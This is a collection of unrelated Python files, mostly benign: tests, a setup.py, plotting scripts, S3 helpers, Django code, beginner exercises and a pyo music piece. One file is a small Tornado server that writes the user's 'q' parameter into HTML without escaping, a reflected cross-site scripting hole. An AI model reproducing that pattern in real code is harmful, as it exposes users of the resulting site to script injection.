lifecycle = apiobj._get()
assert isinstance(lifecycle, json_api.lifecycle.Lifecycle)
assert lifecycle.status in ["starting", "running"]
re_stop = apiobj._stop()
assert isinstance(re_stop, str) and not re_stop
lifecycle = apiobj._get()
assert isinstance(lifecycle, json_api.lifecycle.Lifecycle)
assert lifecycle.status in ["done", "stopping"]
class TestDashboardPublic(DashboardBase):
def test_get(self, apiobj):
data = apiobj.get()
assert isinstance(data, DiscoverData)
assert isinstance(data.is_running, bool)
within_minutes = data.next_run_within_minutes(value="900000")
assert within_minutes is True
assert str(data)
assert repr(data)
str_progress = data.to_str_progress()
assert isinstance(str_progress, list)
for x in str_progress:
assert isinstance(x, str)
str_properties = data.to_str_properties()
assert isinstance(str_properties, list)
for x in str_properties:
assert isinstance(x, str)
str_phases = data.to_str_phases()
assert isinstance(str_phases, list)
for x in str_phases:
assert isinstance(x, str)
dict_data = data.to_dict()
for x in data._properties:
assert x in dict_data
current_run_duration = data.current_run_duration_in_minutes
assert isinstance(current_run_duration, (float, type(None)))
assert isinstance(data.phases, list)
for phase in data.phases:
assert isinstance(phase, DiscoverPhase)
assert phase.status in ["n/a", "done", "pending", "running"]
assert str(phase)
assert repr(phase)
str_props = phase.to_str_properties()
assert isinstance(str_props, list)
assert [isinstance(x, str) for x in str_props]
str_progress = phase.to_str_progress()
assert isinstance(str_progress, list)
for x in str_progress:
assert isinstance(x, str)
dict_phase = phase.to_dict()
assert isinstance(dict_phase, dict)
assert isinstance(data.last_run_finish_date, (datetime.datetime, type(None)))
assert isinstance(data.last_run_start_date, (datetime.datetime, type(None)))
assert isinstance(data.current_run_duration_in_minutes, (float, type(None)))
for x in phase._properties:
assert x in dict_phase
assert isinstance(phase.name, str)
assert isinstance(phase.human_name, str)
assert isinstance(phase.is_done, bool)
assert isinstance(phase.progress, dict)
assert isinstance(phase.name_map, dict)
def test_is_running(self, apiobj):
data = apiobj.is_running
assert isinstance(data, bool)
def test_start_stop(self, apiobj):
if apiobj.is_running:
stopped = apiobj.stop()
assert isinstance(stopped, DiscoverData)
assert not stopped.is_running
# assert not stopped["status"] == "done"
started = apiobj.start()
assert isinstance(started, DiscoverData)
assert started.is_running
# assert started["status"] in ["starting", "running"]
re_stopped = apiobj.stop()
assert isinstance(re_stopped, DiscoverData)
assert not re_stopped.is_running
# assert re_stopped["status"] == "done"
|
#
# Example file for working with Calendars
#
# import the calendar module
import calendar
# create a plain text calendar
c = calendar.TextCalendar(calendar.SUNDAY)
# st = c.formatmonth(2021, 5, 0, 0)
# print(st)
# create an HTML formatted calendar
# hc = calendar.HTMLCalendar(calendar.SUNDAY)
# st = hc.formatmonth(2021, 7)
# print(st)
# loop over the days of a month
# zeroes mean that the day of the week is in an overlapping month
# for i in c.itermonthdays(2021, 8):
# print(i)
# The Calendar module provides useful utilities for the given locale,
# such as the names of days and months in both full and abbreviated forms
# for name in calendar.month_name:
# print(name)
# for day in calendar.day_name:
# print(day)
# Calculate days based on a rule: For example, consider
# a team meeting on the first Friday of every month.
# To figure out what days that would be for each month,
# we can use this script:
print("Reunioes do time serao em: ")
for m in range(1,13):
cal = calendar.monthcalendar(2021, m)
weekone = cal[0]
weektwo = cal[1]
if weekone[calendar.FRIDAY] != 0:
meetday = weekone[calendar.FRIDAY]
else:
meetday = weektwo[calendar.FRIDAY]
print("%10s %2d " % (calendar.month_name[m], meetday))
|
#
# Copyright 2015, 2016 Human Longevity, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from setuptools import setup, find_packages
setup(
use_scm_version={
'write_to': 'disdat/version.py',
'write_to_template': '__version__ = "{version}"'
},
setup_requires=['setuptools_scm'],
name='disdat',
description='DisDat: versioned data science',
author='Ken Yocum',
author_email='kyocum@gmail.com',
url='https://github.com/kyocum/disdat',
# Choose your license
license='Apache License, version 2.0',
classifiers=[
# How mature is this project? Common values are
# 3 - Alpha
# 4 - Beta
# 5 - Production/Stable
'Development Status :: 4 - Beta',
# Indicate who your project is intended for
'Intended Audience :: Science/Research',
'Topic :: Scientific/Engineering',
# Pick your license as you wish (should match "license" above)
'License :: OSI Approved :: Apache Software License',
# Specify the Python versions you support here. In particular, ensure
# that you indicate whether you support Python 2, Python 3 or both.
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.6',
'Operating System :: OS Independent',
'Natural Language :: English',
],
# You can just specify the packages manually here if your project is
# simple. Or you can use find_packages().
packages=find_packages(exclude=['tests*',
'infrastructure.tests*']),
# Include non-python files found in each package in the install, if in your MANIFEST.in
include_package_data=True,
# If any package contains other resource files, include them here.
# We copy config/disdat so 'dsdt init' still runs from an installed
# .egg. This package_data only works if you're not using "sdist"
# Otherwise only MANIFEST.in actually works, and then only if include_package_data=True
package_data={
'': ['*.json'],
'disdat': [
'config/disdat/*',
'VERSION',
],
'infrastructure': [
'Dockerfiles/hyperframe_def/*'
'dockerizer/Makefile',
'dockerizer/Dockerfiles/*',
'dockerizer/kickstart/bin/*',
'dockerizer/kickstart/etc/*',
],
},
exclude_package_data={
'disdat': [
'dockerizer/kickstart/bin/*.pyc',
]
},
data_files=[('', ['setup.py'])],
# List run-time dependencies here. These will be installed by pip when
# your project is installed. If >=, means it worked with the base version.
# If <= means higher versions broke something.
install_requires=[
'luigi>=2.8.11,<3.0',
'boto3>=1.14.49,<2.0',
'termcolor>=1.1.0,<2.0',
'docker>=4.1.0,<4.4.0',
'pandas>=0.25.3,<=1.2.0',
'numpy>=1.18.1,<=1.21.1',
'sqlalchemy>=1.3.13,<1.4',
'protobuf>=3.11.2,<4.0',
'six>=1.13.0,<=1.15',
'docutils<0.16,>=0.10'
],
# List additional groups of dependencies here (e.g. development
# dependencies). You can install these using the following syntax,
# for example:
# $ pip install -e '.[dev, rel]'
extras_require={
'dev': [
'pytest',
'ipython',
'mock',
'pylint',
'coverage',
'tox',
'moto',
's3fs<=0.4.2' # 0.5.0 breaks with aiobotocore and missing AWS headers
],
'rel': [
'wheel',
]
},
entry_points={
'console_scripts': [
'dsdt = disdat.entrypoints.cli_ep:main',
'dsdt_docker = disdat.entrypoints.docker_ep:main'
],
'distutils.commands': [
"dsdt_distname = disdat.infrastructure.dockerizer.setup_tools_commands:DistributionName",
]
},
)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import (division, absolute_import, print_function,
unicode_literals)
import os
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.style as style
# Get File Directory
WORK_DIR = os.path.dirname((os.path.realpath(__file__)))
# Loading the json data as python dictionary
women_majors = pd.read_csv(WORK_DIR +
"/data/percent-bachelors-degrees-women-usa.csv")
print(women_majors.info())
print(women_majors.head())
print(women_majors.tail())
under_20 = women_majors.loc[0, women_majors.loc[0] < 20]
print(under_20)
under_20_graph = women_majors.plot(x='Year', y=under_20.index, figsize=(12, 8))
plt.show()
print(style.available)
style.use('fivethirtyeight')
women_majors.plot(x='Year', y=under_20.index, figsize=(12, 8))
plt.show()
# Colorblind-friendly colors
colors = [[0, 0, 0], [230 / 255, 159 / 255, 0],
[86 / 255, 180 / 255, 233 / 255], [0, 158 / 255, 115 / 255],
[213 / 255, 94 / 255, 0], [0, 114 / 255, 178 / 255]]
fte_graph = women_majors.plot(
x='Year', y=under_20.index, figsize=(12, 8), color=colors, legend=False)
fte_graph.tick_params(axis='both', which='major', labelsize=18)
# Customizing the tick labels of the y-axis
fte_graph.set_yticklabels(
labels=[-10, '0 ', '10 ', '20 ', '30 ', '40 ', '50%'])
print('The tick labels of the y-axis:',
fte_graph.get_yticks()) # -10 and 60 are not visible on the graph
# Generate a bolded horizontal line at y = 0
fte_graph.axhline(y=0, color='black', linewidth=1.3, alpha=.7)
# Add an extra vertical line by tweaking the range of the x-axis
fte_graph.set_xlim(left=1969, right=2011)
# Remove the label of the x-axis
fte_graph.xaxis.label.set_visible(False)
# The signature bar
fte_graph.text(
x=1965.8,
y=-7,
s=' ©DATAQUEST Source: National Center for Education Statistics',
fontsize=14,
color='#f0f0f0',
backgroundcolor='grey')
# Adding a title and a subtitle
fte_graph.text(
x=1966.65,
y=62.7,
s="The gender gap is transitory - even for extreme cases",
fontsize=26,
weight='bold',
alpha=.75)
fte_graph.text(
x=1966.65,
y=57,
s='Percentage of Bachelors conferred to women from 1970 to 2011 in the US for\n\
extreme cases where the percentage was less than 20% in 1970',
fontsize=19,
alpha=.85)
# Add colored labels
fte_graph.text(
x=1994,
y=44,
s='Agriculture',
color=colors[0],
weight='bold',
rotation=33,
backgroundcolor='#f0f0f0')
fte_graph.text(
x=1985,
y=42.2,
s='Architecture',
color=colors[1],
weight='bold',
rotation=18,
backgroundcolor='#f0f0f0')
fte_graph.text(
x=2004,
y=51,
s='Business',
color=colors[2],
weight='bold',
rotation=-5,
backgroundcolor='#f0f0f0')
fte_graph.text(
x=2001,
y=30,
s='Computer Science',
color=colors[3],
weight='bold',
rotation=-42.5,
backgroundcolor='#f0f0f0')
fte_graph.text(
x=1987,
y=11.5,
s='Engineering',
color=colors[4],
weight='bold',
backgroundcolor='#f0f0f0')
fte_graph.text(
x=1976,
y=25,
s='Physical Sciences',
color=colors[5],
weight='bold',
rotation=27,
backgroundcolor='#f0f0f0')
plt.show()
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
import tornado.httpclient
import base64
import requests
import urllib.parse
import json
import datetime
import time
from tornado.options import define, options
define('port', default=8000, help='run on the given port', type=int)
# twitter part
client_key = '<YOUR-KEY-HERE>'
client_secret = '<YOUR-SECRET-HERE>'
key_secret = '{}:{}'.format(client_key, client_secret).encode('ascii')
b64_encoded_key = base64.b64encode(key_secret)
b64_encoded_key = b64_encoded_key.decode('ascii')
base_url = 'https://api.twitter.com/'
auth_url = '{}oauth2/token'.format(base_url)
auth_headers = {'Authorization': 'Basic {}'.format(b64_encoded_key),
'Content-Type':
'application/x-www-form-urlencoded;charset=UTF-8'
}
auth_data = {'grant_type': 'client_credentials'}
auth_resp = requests.post(auth_url, headers=auth_headers,
data=auth_data)
access_token = auth_resp.json()['access_token']
search_headers = {'Authorization': 'Bearer {}'.format(access_token)}
search_url = '{}1.1/search/tweets.json?'.format(base_url)
class IndexHandler(tornado.web.RequestHandler):
def get(self):
query = self.get_argument('q')
search_params = {'q': query, 'result_type': 'recent',
'count': 100}
client = tornado.httpclient.HTTPClient()
response = client.fetch(search_url +
urllib.parse.urlencode(search_params),
headers=search_headers)
body = json.loads(response.body)
result_count = len(body['statuses'])
now = datetime.datetime.utcnow()
raw_oldest_tweet_at = body['statuses'][-1]['created_at']
oldest_tweet_at = \
datetime.datetime.strptime(
raw_oldest_tweet_at,
'%a %b %d %H:%M:%S +0000 %Y'
)
seconds_diff = time.mktime(now.timetuple()) \
- time.mktime(oldest_tweet_at.timetuple())
tweets_per_second = float(result_count) / seconds_diff
self.write("""
<div style="text-align: center">
<div style="font-size: 72px">%s</div>
<div style="font-size: 144px">%.02f</div>
<div style="font-size: 24px">tweets per second</div>
</div>""" % (query, tweets_per_second))
if __name__ == '__main__':
tornado.options.parse_command_line()
app = tornado.web.Application(handlers=[(r"/", IndexHandler)])
http_server = tornado.httpserver.HTTPServer(app)
http_server.listen(options.port)
tornado.ioloop.IOLoop.current().start()
|
# Generated by Django 2.2.13 on 2020-07-28 14:10
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("barriers", "0075_auto_20200717_1142"),
]
operations = [
migrations.AlterField(
model_name="publicbarrier",
name="barrier",
field=models.OneToOneField(
on_delete=django.db.models.deletion.CASCADE,
related_name="public_barrier",
to="barriers.BarrierInstance",
),
),
]
|
from abc import ABC, abstractmethod
import boto3
import botocore
import os
import shutil
class BaseDataSaver:
def __init__(self, bucket_name='model-result'):
"""Base class implementing S3 file saving logic
Args:
bucket_name (str): S3 bucket into which the files will be saved
"""
self.bucket_name = bucket_name
self.s3_client = boto3.client('s3')
def save_file(self, local_file_path, cloud_file_path):
"""Save / upload file on local drive to the AWS S3
Args:
local_file_path (str): path to the file on the local drive
cloud_file_path (str): destination where the file will be saved on S3 inside the specified bucket
Returns:
None
"""
self.s3_client.upload_file(os.path.expanduser(local_file_path),
self.bucket_name, cloud_file_path)
def save_folder(self, local_folder_path, cloud_folder_path):
"""Save / upload the contents of the local folder on the local drive to AWS S3
This function uploads the *contents inside* the provided local folder. If the encapsulating folder should
also be created on the S3, specify the folder name at the end of the ``cloud_folder_path``.
For example if:
``local_folder_path = '~/bla/my_folder'``
and we want to have the content of *my_folder* also placed into the folder *my_folder on S3* then append
*my_folder* at the end of the cloud_folder_path:
``cloud_folder_path = 'cloud_bla/my_folder'``
Args:
local_folder_path (str): local path to the folder which should be uploaded
cloud_folder_path (str): destination path on S3 where the folder and its content should be uploaded
Returns:
None
"""
for root, dirs, files in os.walk(local_folder_path):
for filename in files:
local_file_path = os.path.join(root, filename)
file_path_inside_folder = os.path.relpath(local_file_path, local_folder_path)
s3_file_path = os.path.join(cloud_folder_path, file_path_inside_folder)
self.s3_client.upload_file(local_file_path, self.bucket_name, s3_file_path)
class BaseDataLoader:
def __init__(self, bucket_name='dataset-store', local_base_data_folder_path='~/project/data'):
"""Base class implementing S3 file downloading logic
Args:
bucket_name (str): S3 bucket from which the files will be downloaded
local_base_data_folder_path (str): local main experiment saving folder
"""
self.bucket_name = bucket_name
self.s3 = boto3.resource('s3')
self.local_base_data_folder_path = os.path.expanduser(local_base_data_folder_path)
self.available_prepocessed_datasets = []
def load_file(self, cloud_file_path, local_file_path):
"""Download the file AWS S3 to the local drive
Args:
cloud_file_path (str): location where the file is saved on S3 inside the specified bucket
local_file_path (str): destination path where the file will be downloaded to the local drive
Returns:
None
"""
local_file_path = os.path.expanduser(local_file_path)
if os.path.isfile(local_file_path):
print('File already exists on local disk. Not downloading from S3')
else:
print('Local file does not exist on the local disk. Downloading from S3')
try:
self.s3.Bucket(self.bucket_name).download_file(cloud_file_path, local_file_path)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == "404":
print("The object does not exist on S3.")
else:
raise
def exists_local_data_folder(self, data_folder_name, protect_local_folder=True):
"""Check if a specific folder exists in the base data folder
For example, Squad dataset folder inside /data folder, or pretrained_models folder inside /model_results folder
Args:
data_folder_name (str):
protect_local_folder (bool):
Returns:
bool:
"""
if os.path.exists(os.path.join(self.local_base_data_folder_path, data_folder_name)) and protect_local_folder:
print('Local folder exists and protect_local_folder in True: leaving local folder as it is.')
return True
if os.path.exists(os.path.join(self.local_base_data_folder_path, data_folder_name)) and not protect_local_folder:
print('Local folder exists and protect_local_folder in False: deleting local folder copy')
shutil.rmtree(os.path.join(self.local_base_data_folder_path, data_folder_name))
os.mkdir(os.path.join(self.local_base_data_folder_path, data_folder_name))
return False
def preproc_dataset_available(self, preproc_dataset_name):
return preproc_dataset_name in self.available_prepocessed_datasets
class AbstractDatasetFetcher(ABC):
@abstractmethod
def fetch_dataset(self, dataset_name=None, protect_local_folder=True):
"""
Args:
dataset_name (str or None):
protect_local_folder (bool):
Returns:
None
"""
pass
|
#!/usr/local/bin/python3
# Matteo Del Vecchio
from utils import preprocessing
from unigram import unigram
from bigram import bigram
from trigram import trigram
from pprint import pprint
def main():
# Reading corpus
wordsList = []
corpus = open("corpus.txt", "r")
i = 0
for line in corpus.readlines():
# Every line in the corpus will be preprocessed
wordsList += preprocessing(line)
if i >= 3: # Added to avoid overloading when loading the dataset
break
i+=1
##### Exercise 1 (b) #####
# Calculating occurrences of each word in the corpus
occurrenceCounts = list(map(lambda word: wordsList.count(word), wordsList))
# Calculating UNIGRAM frequencies and probabilities
singleWordOcc = dict() # For each word, it takes track of number of occurrences
# Initialization of unigram data structure containing probabilities
# Key: string (the word), value: probability value
unigramData = dict()
i = 0
for word in wordsList:
# Obtaining word frequency
singleWordOcc[word] = occurrenceCounts[i]
# Computing P(wi)
unigramData[word] = singleWordOcc[word] / len(occurrenceCounts)
i+=1
# Calculating BIGRAM frequencies and probabilities
doubleWordsOcc = dict() # For pair of contiguous words, it takes track of number of occurrences
# Initialization of bigram data structure containing probabilities
# Key: tuple (wi-1, wi), value: probability value
bigramData = dict()
for i in range(1, len(wordsList)):
# Counting frequencies for each bigram
key = (wordsList[i-1], wordsList[i])
doubleWordsOcc[key] = doubleWordsOcc.get(key, 0) + 1
# Calculating probabilities for each bigram
for key in doubleWordsOcc:
precWord = key[0]
bigramData[key] = doubleWordsOcc[key] / singleWordOcc[precWord] # f(wi-1, wi) / f(wi-1)
# Calculating TRIGRAM frequencies and probabilities
triWordsOcc = dict() # For triplets of contiguous words, it takes track of number of occurrences
# Initialization of trigram data structure containing probabilities
# Key: tuple (wi-2, wi-1, wi), value: probability value
trigramData = dict()
for i in range(2, len(wordsList)):
# Counting frequencies for each trigram
key = (wordsList[i-2], wordsList[i-1], wordsList[i])
triWordsOcc[key] = triWordsOcc.get(key, 0) + 1
# Calculating probabilities for each trigram
for key in triWordsOcc:
firstPrecWord = key[0] # word i-2
secondPrecWord = key[1] # word i-1
bigramKey = (firstPrecWord, secondPrecWord)
trigramData[key] = triWordsOcc[key] / doubleWordsOcc[bigramKey] # f(wi-2, wi-1, wi) / f(wi-2, wi-1)
##### END Exercise 1 (b) #####
pprint(unigramData)
print()
pprint(bigramData)
print()
pprint(trigramData)
print("Generated by UNIGRAM:\n" + " ".join(unigram(unigramData)) + "\n")
print("Generated by BIGRAM:\n" + " ".join(bigram(bigramData)) + "\n")
print("Generated by TRIGRAM:\n" + " ".join(trigram(trigramData, bigramData)) + "\n")
if __name__ == "__main__":
main()
|
"""
Problem Description:
This problem requires you to create a output string from input string such that for every character in input string, there are three same characters in output string.
Input:
First line contains N, the number of letters in the string.
The next line contains the string.
Output:
Print the output_string.
Constraints:
1 ≤ N ≤ 20
Sample Input:
5
Hello
Sample Output:
HHHeeellllllooo
"""
n = int(input())
a = input()
string = ""
for i in range(n): # loop to triple and add to string
g = a[i] * 3
string += g
print(string)
|
def linearSearch(list, targetValue):
for i in range(len(list)):
if (targetValue == list[i]):
return i
return "Not Found"
def main():
# Example
exampleList = [1, 2, 3, 4, 5, 6, 7, 8, 9]
exampleTarget = 5
result = linearSearch(exampleList, exampleTarget)
if (result == "Not Found"):
print("Your value", exampleTarget, "was", result)
else:
print("Your value", exampleTarget, "was found at list index", result)
main()
|
import cropmask.preprocess as pp
from cropmask.misc import make_dirs, remove_dirs
import os
import pytest
@pytest.fixture
def wflow():
wflow = pp.PreprocessWorkflow("/home/ryan/work/CropMask_RCNN/cropmask/test_preprocess_config.yaml",
"/permmnt/cropmaskperm/unpacked_landsat_downloads/LT050320312005082801T1-SC20190418222350/",
"/permmnt/cropmaskperm/external/nebraska_pivots_projected.geojson")
return wflow
def test_sequential_grid():
from cropmask import sequential_grid as sg
from rasterio import windows
from cropmask.label_prep import rio_bbox_to_polygon
from rasterio import coords
from cropmask.io_utils import zipped_shp_url_to_gdf
import us
import rasterio as rio
import geopandas as gpd
import matplotlib.pyplot as plt
#specify zipped shapefile url
nebraska_url = us.states.NE.shapefile_urls('state')
gdf = zipped_shp_url_to_gdf(nebraska_url)
band = rio.open("/permmnt/cropmaskperm/unpacked_landsat_downloads/LT050280322005012001T2-SC20190818204900/LT05_L1GS_028032_20050120_20160912_01_T2_sr_band3.tif")
gdf = gdf.to_crs(band.meta['crs'].to_dict())
chip_list_full = sg.get_tiles_for_threaded_map(band, gdf, 512, 512)
assert len(chip_list_full)==99
# should also test for the label image
def test_init(wflow):
assert wflow
def test_make_dir():
directory_list = ["/permmnt/cropmaskperm/pytest_dir"]
make_dirs(directory_list)
try:
assert os.path.exists(directory_list[0])
except AssertionError:
remove_dirs(directory_list)
print("The directory was not created.")
remove_dirs(directory_list)
def test_make_dirs(wflow):
directory_list = wflow.setup_dirs()
for i in directory_list:
try:
assert os.path.exists(i)
except AssertionError:
remove_dirs(directory_list)
print("The directory "+i+" was not created.")
remove_dirs(directory_list)
def test_yaml_to_band_index(wflow):
band_list = wflow.yaml_to_band_index()
try:
assert band_list == ['1','2','3']
except AssertionError:
print("The band list "+band_list+" is not "+['1','2','3'])
def test_list_products():
path = "/permmnt/cropmaskperm/unpacked_landsat_downloads/LT050320312005082801T1-SC20190418222350/"
try:
product_list = os.listdir(path)
assert product_list
except AssertionError:
print("The product list is empty, check this path: "+ path)
def test_get_product_paths(wflow):
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
assert product_list
assert len(product_list) == len(band_list)
def test_stack_and_save_bands(wflow):
directory_list = wflow.setup_dirs()
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
meta, bounds = wflow.load_meta_and_bounds(product_list)
try:
wflow.stack_and_save_bands()
except:
remove_dirs(directory_list)
print("The function didn't complete.")
try:
assert os.path.exists(wflow.scene_path)
remove_dirs(directory_list)
except AssertionError:
remove_dirs(directory_list)
print("The stacked tif was not saved at the location "+wflow.scene_path)
def test_negative_buffer_and_small_filter(wflow):
directory_list = wflow.setup_dirs()
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
meta, bounds = wflow.load_meta_and_bounds(product_list)
wflow.stack_and_save_bands()
try:
assert wflow.negative_buffer_and_small_filter(-31, 100) == np.array([0, 1]) # for the single class case, where 1 are cp pixels
except:
remove_dirs(directory_list)
print("The function didn't complete.")
try:
assert os.path.exists(wflow.rasterized_label_path)
remove_dirs(directory_list)
except AssertionError:
remove_dirs(directory_list)
print("The rasterized label tif was not saved at the location "+wflow.rasterized_label_path)
def test_grid_images(wflow):
directory_list = wflow.setup_dirs()
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
meta, bounds = wflow.load_meta_and_bounds(product_list)
wflow.stack_and_save_bands()
wflow.negative_buffer_and_small_filter(-31, 100)
try:
img_paths, label_paths = wflow.grid_images()
assert len(img_paths) > 0
assert len(img_paths) == len(label_paths)
except AssertionError:
remove_dirs(directory_list)
print("Less than one chip was saved")
def test_move_chips_to_folder(wflow):
directory_list = wflow.setup_dirs()
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
meta, bounds = wflow.load_meta_and_bounds(product_list)
wflow.stack_and_save_bands()
wflow.negative_buffer_and_small_filter(-31, 100)
img_paths, label_paths = wflow.grid_images()
try:
assert wflow.move_chips_to_folder()
assert len(os.listdir(wflow.TRAIN)) > 1
assert len(os.listdir(os.listdir(wflow.TRAIN))[0]) > 0
except AssertionError:
remove_dirs(directory_list)
print("Less than one chip directory was made")
def test_connected_components(wflow):
directory_list = wflow.setup_dirs()
band_list = wflow.yaml_to_band_index()
product_list = wflow.get_product_paths(band_list)
meta, bounds = wflow.load_meta_and_bounds(product_list)
wflow.stack_and_save_bands()
wflow.negative_buffer_and_small_filter(-31, 100)
img_paths, label_paths = wflow.grid_images()
wflow.move_chips_to_folder()
try:
assert wflow.connected_components()
except AssertionError:
print("Connected components did not complete")
|
"""Interaction between the reference machinery and content objects."""
import gocept.reference.interfaces
import gocept.reference.reference
import transaction
import zope.component
import zope.container.interfaces
import zope.interface
import zope.location
import zope.traversing.api
import zope.traversing.interfaces
def find_references(obj):
for name in dir(obj.__class__):
attr = getattr(obj.__class__, name, None)
if isinstance(attr, gocept.reference.reference.ReferenceBase):
yield name, attr
def sublocation_tree(obj):
yield obj
isub = zope.location.interfaces.ISublocations(obj, None)
if isub:
for direct in isub.sublocations():
for sub in sublocation_tree(direct):
yield sub
@zope.component.adapter(zope.interface.Interface)
@zope.interface.implementer(gocept.reference.interfaces.IReferenceSource)
class ReferenceSource(object):
def __init__(self, context):
self.context = context
def verify_integrity(self):
for name, ref in find_references(
self.context):
target_key = gocept.reference.reference.get_storage(
self.context).get(name)
if target_key:
try:
gocept.reference.reference.lookup(target_key)
except gocept.reference.interfaces.LookupError:
return False
return True
@zope.component.adapter(zope.interface.Interface)
@zope.interface.implementer(gocept.reference.interfaces.IReferenceTarget)
class ReferenceTarget(object):
def __init__(self, context):
self.context = context
def is_referenced(self, recursive=True):
if recursive:
candidates = sublocation_tree(self.context)
else:
candidates = [self.context]
manager = zope.component.getUtility(
gocept.reference.interfaces.IReferenceManager)
for obj in candidates:
locatable = zope.traversing.interfaces.IPhysicallyLocatable(obj)
if manager.is_referenced(locatable.getPath()):
return True
else:
return False
@zope.component.adapter(zope.interface.Interface,
zope.container.interfaces.IObjectMovedEvent)
def ensure_referential_integrity(obj, event):
if event.oldParent is None:
# The object was not in the hierarchy before so it didn't have a path
# and can't be referenced currently.
return
# 1. Compute the old path to the container that an object was removed from
old_parent_path = zope.traversing.api.getPath(event.oldParent)
if old_parent_path == '/':
# The object that was removed was located in the root folder. We
# remove the slash to avoid ending up with a double-slash in the next
# step.
old_parent_path = ''
# 2. Compute the path to the object that was removed
old_path = (old_parent_path + '/' + event.oldName)
# 3. If our obj is not the moved object then we're a sublocation and need
# to reconstruct the further path to the sublocation.
suffix = ''
suffix_obj = obj
while suffix_obj is not event.object:
suffix = '/%s%s' % (suffix_obj.__name__, suffix)
suffix_obj = suffix_obj.__parent__
old_path = old_path + suffix
manager = zope.component.getUtility(
gocept.reference.interfaces.IReferenceManager)
if manager.is_referenced(old_path):
transaction.doom()
raise gocept.reference.interfaces.IntegrityError(event.object, obj)
@zope.component.adapter(zope.interface.Interface,
zope.container.interfaces.IObjectAddedEvent)
def ensure_registration(obj, event):
for name, ref in find_references(obj):
ref._register(obj)
@zope.component.adapter(zope.interface.Interface,
zope.container.interfaces.IObjectRemovedEvent)
def ensure_unregistration(obj, event):
for name, ref in find_references(obj):
ref._unregister(obj)
|
valores = []
maior = menor = 0
for c in range(0, 5):
valores.append(int(input(f'Digite o {c}° valor: ')))
if c == 0:
maior = menor = valores[c]
else:
if valores[c] > maior:
maior = valores[c]
if valores[c] < menor:
menor = valores[c]
print(f'O maior valor digitado foi {maior} nas posições: ', end='')
for indice, numero in enumerate(valores):
if numero == maior:
print(f'{indice},', end=' ')
print()
print(f'O menor valor digitado foi {menor} nas posições: ', end='')
for indice, numero in enumerate(valores):
if numero == menor:
print(f'{indice},', end=' ')
|
def bin_fixed_23(n, bits_per_word=16):
result = bin_twos_complement(n, bits_per_word)
return (('0'*bits_per_word)+result)[-bits_per_word:]
|
#!/usr/bin/env python
# encoding: utf-8
from pyo import *
##############################################################
READY = True # Set to True when ready for the radio
TITLE = "Daleks" # The title of the music
ARTIST = "J T Hutton (hipnofoo)" # Your artist name
DURATION = 420 # The duration of the music in seconds
##################### These are optional #####################
GENRE = "Electronic" # Kind of your music, if there is any
DATE = 2016 # Year of creation
####################### SERVER CREATION ######################
s = Server().boot()
##################### PROCESSING SECTION #####################
# global volume (should be used to control the overall sound)
fade = Fader(fadein=0.001, fadeout=10, dur=DURATION).play()
############### Daleks! ##################
# Dedicated to Delia Derbyshire and the others at the BBC Radiophonic Workshop
import random
m = Metro(.9, poly=1) .play()
pc = Percent(m, percent=40)
######### trig burst with ramp ##########
burst = TrigBurst(pc, time=.05, count=1, expand=1, ampfade=1, poly=1) # variable trig burst
def changeburst():
burst.time = random.uniform(.05, .5)
burst.expand = random.uniform(.5, 2)
burst.count = random.randint(2, 15)
tf = TrigFunc(pc, changeburst)
# freq ramp
t1 = TrigXnoise(pc, dist=6, x1=1, mul=2, add=-1) # change ramp amt (+-1)
ts = TrigRand(pc, min=.01, max=1, port=0) # var ramp speed
tab = LinTable(list=[(0,1), (8191,-1.)], size=8192)
t2 = TrigEnv(pc, tab, dur=ts, interp=2, mul=t1, add=1) # ramp freq +-) # t1 can reverse this line
bf = TrigRand(burst, min=60, max=1000) # base freq
# rand 'sharp'
t3 = TrigXnoise(pc, dist=6, x1=1, mul=1) # var for osc 'sharp'
t4 = TrigRand(pc, min=.01, max=.5) # var for env 'dur'
######## env and osc ##########
ev = ExpTable([(0,0),(200,1),(8191,0)], exp=2)
vol = Randi(min=0, max=.4, freq=1.00, mul=1, add=0)
env = TrigEnv(burst, ev, dur=t4, interp=2, mul=vol)
osc = RCOsc(freq=t2*bf, sharp=t3, mul=env)
dl = Delay(osc, ts/2., .7)
tp = TrigRand(pc, min=0, max=1, port=.1)
p = Pan(dl+osc, pan=tp, spread=0, mul=fade) .out()
#################### START THE PROCESSING ###################
s.start()
s.gui(locals())
|
from django.contrib import admin
from . import models
# Register your models here.
@admin.register(models.Profile)
class UserAdmin(admin.ModelAdmin):
list_display = ["account_id", "email", "first_name", "last_name", "username", "phone_number", "tax_id", "is_active"]
list_editable = ["is_active"]
|
# Copyright (C) 2019 by eHealth Africa : http://www.eHealthAfrica.org
#
# See the NOTICE file distributed with this work for additional information
# regarding copyright ownership.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import urllib.parse
from django.conf import settings
from django.contrib.auth import login, logout
from django.contrib.auth.signals import user_logged_out
from django.dispatch import receiver
from django.middleware.csrf import CSRF_SESSION_KEY
from django.urls import reverse
from aether.sdk.auth.utils import get_or_create_user
from aether.sdk.cache import cache_wrap
from aether.sdk.multitenancy.utils import get_current_realm
from aether.sdk.utils import find_in_request_headers, request as exec_request
